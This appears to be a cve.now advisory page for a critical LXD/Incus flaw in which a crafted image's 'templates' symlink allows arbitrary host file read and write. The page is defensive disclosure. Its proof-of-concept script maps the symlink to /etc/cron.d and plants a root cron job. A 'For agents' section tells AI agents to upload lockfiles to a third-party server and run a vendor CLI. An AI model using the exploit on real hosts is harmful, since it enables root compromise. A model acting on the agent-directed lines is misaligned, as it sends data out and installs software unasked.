# GHSA-JPF8-86F3-WP38: LXD has arbitrary file read+write on host via templates/ symlink in malicious image

- Severity: critical (stated by ghsa, no CVSS score)
- Known exploited (CISA KEV): no
- Fixed in: 0.0.0-20260203144152-d1c8ba15d160
- Published: 2026-11-06 · Updated: 2026-11-06

GHSA-JPF8-86F3-WP38 is not in CISA's Known Exploited Vulnerabilities (KEV) catalog. No public exploit code is tracked. It is rated critical by ghsa and affects github.com/canonical/lxd; fixed in 0.0.0-20260203144152-d1c8ba15d160.

## Summary

LXD has a flaw that lets an attacker read and write arbitrary files on the host by supplying a specially crafted container image that contains a symlink named "templates." This could possibly lead to command execution on the host.

Model-written summary (anthropic/claude-haiku-5.5). Verify details against the original sources.

## Affected

- github.com/canonical/lxd (Go): fixed in 0.0.0-20260203144152-d1c8ba15d160

## Description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479 ### Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink. In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it. ### PoC Below, we map the templates directory to `/etc/cron.d` on the host, but it can be mapped anywhere. We then create a cronjob to run `id` as root. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC templates symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink incus config template ls afrw-image-templates-symlink # read #incus config template show afrw-image-templates-symlink $FILENAME # write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

## What to do

- Check your stack: if you ship or depend on github.com/canonical/lxd, upgrade to a fixed version (0.0.0-20260203144152-d1c8ba15d160) per the references below.
- For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://mcp.cve.now/mcp, no auth) with the project's lockfile.
- Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web:
  https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=GHSA-JPF8-86F3-WP38

## FAQ

### Is GHSA-JPF8-86F3-WP38 being exploited?

It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.

Source: https://cve.now/GHSA-JPF8-86F3-WP38

### Which versions are affected by GHSA-JPF8-86F3-WP38?

github.com/canonical/lxd (Go): before 0.0.0-20260203144152-d1c8ba15d160.

Source: https://cve.now/GHSA-JPF8-86F3-WP38

### How do I fix GHSA-JPF8-86F3-WP38?

Upgrade to a fixed version: 0.0.0-20260203144152-d1c8ba15d160.

Source: https://cve.now/GHSA-JPF8-86F3-WP38

## Related

- Browse: [Critical entries](https://cve.now/critical.md) · [Go packages](https://cve.now/ecosystem/go.md) · [Latest entries](https://cve.now/latest.md)

## References

- https://github.com/canonical/lxd/security/advisories/GHSA-jpf8-86f3-wp38
- https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479
- https://nvd.nist.gov/vuln/detail/CVE-2026-48752
- https://github.com/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd
- https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da
- https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f
- https://github.com/canonical/lxd/commit/734fcc4d2c8fd0332d42010e34fe856077c2f7f3
- https://github.com/canonical/lxd/commit/79f3879047b94344e17750551fddc74ed7f14ff7
- https://github.com/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9
- https://github.com/canonical/lxd/commit/8a3b8d77a0279c3a9da15f4c4aa639ef0631d805
- https://github.com/canonical/lxd/commit/be6df3b49e79344ec461daadd82d80139697dc1a
- https://github.com/lxc/incus/commit/cbefa31ae0da8fd96361178aed3a3c631e098fef
- https://github.com/canonical/lxd

---

Source: cve.now, built and run by Sazabi
Page: https://cve.now/GHSA-JPF8-86F3-WP38
JSON: https://cve.now/api/v1/entries/GHSA-JPF8-86F3-WP38
Uses NVD data; not endorsed by NVD.